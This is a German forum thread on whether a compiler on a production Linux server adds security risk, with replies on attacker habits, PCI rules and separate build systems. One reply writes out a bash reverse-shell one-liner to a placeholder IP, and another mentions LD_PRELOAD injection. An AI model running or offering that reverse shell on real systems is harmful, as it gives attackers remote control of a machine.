Compiler = Sicherheitsrisiko?

S

Semper Addisco

New Member
Hallo,

ich habe mal eine generelle Frage. Wenn man sich entscheidet Software wie MySQL, Nginx und PHP selber zu kompilieren (würde ich gerne) steht ja ein Compiler auf dem System zur Verfügung, der nicht benötigt werden würde wenn man ausschließlich den Paketmanager nutzt.

Stellt ein Compiler (build-essential, cmake) auf einem Produktiv-System ein erhöhtes Sicherheitsrisiko dar, oder ist eh schon alles zu spät wenn jemand es so weit schafft den Compiler nutzen zu können?

Die Frage kommt bei mir auf weil zum Beispiel auf dem Debian-Image bei JiffyBox kein Compiler installiert ist. Bei einer eigenen Minimal-Installation über die Netzwerk-Installations-CD habe ich aber einen. Das muss doch einen Grund haben. :o
 
Semper Addisco said:
Stellt ein Compiler (build-essential, cmake) auf einem Produktiv-System ein erhöhtes Sicherheitsrisiko dar,
Click to expand...
Prinzipiell ja.

Jeder "Service", der verfügbar ist und nicht zwingend benötigt wird stellt ein Risiko dar.

Semper Addisco said:
oder ist eh schon alles zu spät wenn jemand es so weit schafft den Compiler nutzen zu können?
Click to expand...
Nein - den Compiler kann z.B. der Webserver auch über ein execute in einem php-Script aufrufen. Damit könnte dann Code gebaut werden, der lokal (mit den Rechten des Webservers) läuft und ggf. weitere Dinge tut...

Semper Addisco said:
Die Frage kommt bei mir auf weil zum Beispiel auf dem Debian-Image bei JiffyBox kein Compiler installiert ist. Bei einer eigenen Minimal-Installation über die Netzwerk-Installations-CD habe ich aber einen. Das muss doch einen Grund haben. :o
Click to expand...
Mystizismus der Distributoren. Wer da in welcher Version wie viel reinpackt wird da wohl mehr oder weniger mal spontan geändert und Abends bei einem Bier entschieden...
 
Ganz klar: Stellt kein weiteres Sicherheitsrisiko dar.

Ob der Compiler vorinstalliert ist oder der Angreifer erst den Compiler nachinstallieren muss (wget, fertig), macht keinen Unterschied.
 
Nein - den Compiler kann z.B. der Webserver auch über ein execute in einem php-Script aufrufen.
Click to expand...
Der Angreifer könnte auch schlicht seine eigenen Binaries hochladen sofern einer der von ihm erreichbaren Pfade nicht mit noexec mounted ist.
Falls er Befehle starten kann so könnte er ausserdem mit LD_PRELOAD eigene Binaries in Systemprogramme injizieren und diese dann dadurch dazu bringen aus zu führen was immer er will.

Prinzipiell ja.

Jeder "Service", der verfügbar ist und nicht zwingend benötigt wird stellt ein Risiko dar.
Click to expand...
Der Compiler ist eigentlich kein Service da er nicht konstant läuft. Es ist einfach nur eine Ansammlung von Binaries.
Durch ein chroot der Benutzer auf eigene Verzeichnisse kann man aber sehr wohl das System mit eigenen Tools vollmüllen und den Kunden nur sehr wenig zur Verfügung stellen.
 
Ich würde auch sagen, dass der Compiler kein Sicherheitsrisiko ist, da er eben nicht latent läuft. Kann man diesen aber aufrufen, kann ich gleich andere Programme aufrufen, wodurch der Compiler schon das kleinste Problem wäre.
 
Ob ein Angreifer einen Compiler nutzt oder (was wahrscheinlicher ist) eine eigene statische Binary lädt, die auf mehr als 90% der Systeme direkt läuft macht keinen echten Unterschied.

Wenn ich in ein fremdes System wollen würde und die Möglichkeit hätte selbst Befehle auszuführen: Ich würde nicht erst ein tar-Archiv mit meinen Sourcen laden, dann kompilieren, dann feststellen dass irgendwelche Bibliotheken fehlen etc... Ich würde versuchen herauszufinden was da für ein System läuft (32 oder 64 Bit und Prozessorarchitektur) und dann auf meinem lokalen System eine statische Binary bauen die auf dem anderen System sofort out-of-the-Box läuft.
Außerdem will ich die Sourcen meiner "kriminellen" Software nicht auf dem Remote-System haben ;)
 
Generell laden die Angreifer fertige Binaries hoch. Alles, was sie später noch brauchen, können sie auch auf dem Host erledigen (z.B. Kernelsourcen vom installierten Kernel laden, Quellcode modifizieren, kompilieren und ersetzen).

Es ist genauso unsinn einen Complier nicht du installieren, wie das Entfernen von netcat. Wenn der Angreifer kein Netcat vorfindet, dann lädt er halt sein eigenes Binary hoch oder nutzt z.B. (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1) oder python, perl, php und was sonst noch zur Verfügung steht. Die Möglichkeiten sind unbegrenzt.
 
Oder er kompiliert sich netcat mit statischen Libs zusammen und lädt das hoch :D
 
Compiler stellt auditiv ein Sicherheitsrisiko dar. Bspw. im PCI-Umfeld bekommst du keine Zertifizierung wenn auf den Systemen, die mit den PCI-Daten in Berührung kommen, ein Compiler installiert ist.
 
PCI-Daten, auditiv? Erkläre mal bitte etwas genauer was du damit ausdrücken willst.
 
PCI = Payment card Industry.
Joe User geht scheinbar davon aus dass einige von uns Kreditkarten-Unternehmen werden oder sind =)

im PCI-Umfeld bekommst du keine Zertifizierung wenn auf den Systemen, die mit den PCI-Daten in Berührung kommen, ein Compiler installiert ist.
Click to expand...
PCI-Compliance ist einer der grössten Witze der Standardisierungsindustrie.
Aber in einem Punkt haben sie Recht; auf solche System gehöhrt nichts was nicht rauf muss.
 
Achso, ja dann. Hack mal nicht so auf Joe rum. Er hat das doch gar nicht geschrieben.
 
Mein Fehler. Joe User, du hast hiermit meine aufrichtige Entschuldigung.
Wer lesen kann ist klar im Vorteil :eek:
 
Semper Addisco said:
Stellt ein Compiler (build-essential, cmake) auf einem Produktiv-System ein erhöhtes Sicherheitsrisiko dar, oder ist eh schon alles zu spät wenn jemand es so weit schafft den Compiler nutzen zu können?
Click to expand...

Binaries auf einem Produktivsystem zu bauen stellt für mich insofern ein Risiko dar, da ja beim Bau auch mal was schief gehen kann. Wenn du gewisse Sachen selbst bauen möchtest, dann leg dir dafür doch z.B. besser eine eigene Build-VM an und ein eigenes Repository, aus dem du die Binaries dann auf dem Produktivsystem installierst.
 
Damit lässt sich prima die Stabilität auf einem Produktivsystem testen. Linux-Kernel kompileren und wenn die Kiste dann aufeinmal nicht mehr erreichbar ist, ist es auch besser so :-)

Wenn wir schon beim Thema sind, was soll beim Kompilieren schief laufen? Ich meine, ist es denn wahrscheinlich, dass der Compiler abstürzt und das ganze System in Mitleidenschaft zieht (Speicherfehler, Überhitzung mal ausgeschlossen)?
 
Ich frage mich gerade wie manche aktuell bei Programm-Modulen bleiben können. Warten, bis Maintainer das irgendwann fixen und dann mit Paketmanager installieren? Sicherheitslücken bei Programmen fixen, ohne gcc?
Zauberwesen seid ihr ;)

Ansonsten, wer den GCC Compiler für ein Risiko hält, kann ihn ja jedesmal installieren für und deinstallieren nach einem Fix.
 
GwenDragon said:
Warten, bis Maintainer das irgendwann fixen und dann mit Paketmanager installieren?
Click to expand...
Fix auf separatem System bauen, kompilieren, packagen und ins eigene Repo stopfen.
Auf dem produktivem System wird das Package aus dem eigenem Repo installiert. Fertig.
Software ohne Package hat auf einem produktivem System nichts zu suchen.
 
Und wir fahren mit der Kirche ums Dorf.

Sind die Maintainer so langsam, dass man sich seine Patches schon selbst kompilieren muss?
Bei der Software aus dem Repository sollte man bei den großen Distributoren doch schon eine gewisse Reaktionszeit für Sicherheitspatches erwarten können. Was gab es, was bisher nicht so schnell wie möglich bei den großen Distributionen gepachtet worden ist?

Wie macht man das bei Freebsd? Da wird doch auch alles aus dem Portage gebaut oder bekommt man auch Binärpakete?

PS: Nicht falsch verstehen, ist nicht negativ gemeint.
 
Last edited by a moderator:
You must log in or register to reply here.
Back
Top